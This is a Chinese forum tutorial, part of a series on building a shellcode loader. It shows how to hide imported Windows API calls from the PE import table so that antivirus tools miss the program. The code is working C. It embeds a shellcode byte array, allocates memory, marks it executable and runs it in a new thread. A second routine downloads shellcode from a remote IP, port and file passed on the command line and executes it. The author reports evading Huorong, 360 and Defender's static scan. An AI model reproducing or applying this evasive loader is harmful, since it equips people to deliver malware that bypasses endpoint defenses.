|
本帖最后由 margin 于 2022-6-4 13:16 编辑
原文链接:从0开始写ShellCode加载器0x4-隐藏导入表 (qq.com)
杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。那么一个什么样的文件会被识别为病毒木马呢?
在开始此之前我们需要了解一些PE文件结构相关知识:导入地址表
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。- 来源百度百科
我们经常听到导出表和导入表两个词,简单来说,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能帮助程序调用DLL中的资源。
关于PE文件结构的更多信息,可以到我这篇文章中查看。
我们来分析一下第一课代码编译出来的exe文件,使用PEview工具查看。
编辑
在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc、CreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。
因此我们尝试在PE文件中抹去导入函数的名称。
我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。
自定义函数指针
- //typedef用于类型定义,他允许用户为已经存在的数据类型起一个别名
- //WINAPI 意味 __stdcall,是一种函数调用方式,stdcall调用方式的函数声明为:int _stdcall function(int a, int b);
- /*
- stdcall的调用方式意味着:
- (1) 参数从右向左依次压入堆栈
- (2) 由被调用函数自己来恢复堆栈
- (3) 函数名自动加前导下划线,后面紧跟着一个@,其后紧跟着参数的尺寸
- */
- //微软文档对VirtualAlloc函数的定义
- /*
- LPVOID VirtualAlloc(
- [in, optional] LPVOID lpAddress,
- [in] SIZE_T dwSize,
- [in] DWORD flAllocationType,
- [in] DWORD flProtect
- );
- */
- typedef LPVOID(WINAPI* ImportVirtualAlloc)(
- LPVOID lpAddress,
- SIZE_T dwSize,
- DWORD flAllocationType,
- DWORD flProtect
- );
- //上述代码可以看作自己定义一个函数名为ImportVirtualAlloc,返回值、参数和VirtualAlloc相同的函数。
- //下面的定义同理。
- typedef HANDLE(WINAPI* ImportCreateThread)(
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- SIZE_T dwStackSize,
- LPTHREAD_START_ROUTINE lpStartAddress,
- __drv_aliasesMem LPVOID lpParameter,
- DWORD dwCreationFlags,
- LPDWORD lpThreadId);
- typedef BOOL(WINAPI* ImportVirtualProtect)(
- LPVOID lpAddress,
- SIZE_T dwSize,
- DWORD flNewProtect,
- PDWORD lpflOldProtect
- );
复制代码
C
GetProcAddress函数用法
C
- FARPROC GetProcAddress(
- [in] HMODULE hModule, //包含函数或变量的 DLL 模块的句柄。LoadLibrary、 LoadLibraryEx、LoadPackagedLibrary或 GetModuleHandle函数返回此句柄。
- [in] LPCSTR lpProcName //函数或变量名,或函数的序数值。如果该参数为序数值,则必须在低位字中;高位字必须为零。
- );
- //如果函数成功,则返回值是导出的函数或变量的地址。
- //如果函数失败,则返回值为 NULL。要获取扩展的错误信息,请调用 GetLastError。
复制代码
然后在main函数中,定义四个函数指针来存放这些函数的地址。
C
- ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
- ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
- ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
- ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
复制代码
接下来在代码中的函数换成自己定义的指针
C
- int main(){
- int shellcode_size = 0;
- DWORD dwThreadId; //线程id
- HANDLE hThread;//线程句柄
- DWORD dwOldProtect; //内存页属性
- char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0";
- shellcode_size = sizeof(buf);
- char* shellcode = (char*)MyVirtualAlloc(
- NULL,//基址
- shellcode_size, //大小
- MEM_COMMIT, //内存页状态
- PAGE_READWRITE //可读可写可执行
- );
-
- //CopyMemory(shellcode, buf, shellcode_size);
- memcpy(shellcode, buf, shellcode_size);
- MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
- hThread = MyCreateThread(
- NULL, // 安全描述符
- NULL, // 栈的大小
- (LPTHREAD_START_ROUTINE)shellcode, // 函数
- NULL, // 参数
- NULL, // 线程标志
- &dwThreadId // 线程ID
- );
- MyWaitForSingleObject(hThread, INFINITE);
- return 0;
- }
复制代码 再用peview查看一下新生成的程序
编辑
导入表中已经没有Virtual Alloc、CreateThread这些函数了
将隐藏导入表代码和分离免杀的代码合并。检验一下效果。火绒,360静动全过,defender静态过了,动态被杀。暂时不上传virustotal检测了,之前检测率7/65的木马,今天再上传已经是23/65了,看来杀软也在分析标记virustotal上的样本。除了颠覆性的技术出现让所有杀软都检测不出来,免杀大多数时候过主流杀软就可以了。
通过命令行参数将shellcode地址传给程序,避免暴露ip等信息。
C
- int main(int argc, char* argv[])
- {
- if (argc != 4) {
- exit(0);
- }
- char* data;
- char *ip = argv[1];
- int port = stoi(argv[2]);
- char *filename = argv[3];
- data = WinGet(ip, port, filename);
- cout << "返回的数据为: " << data << endl;
- cout << argc;
- char* buf = StrToShellcode(data);
- load(buf, 2048);
- }
复制代码
|
|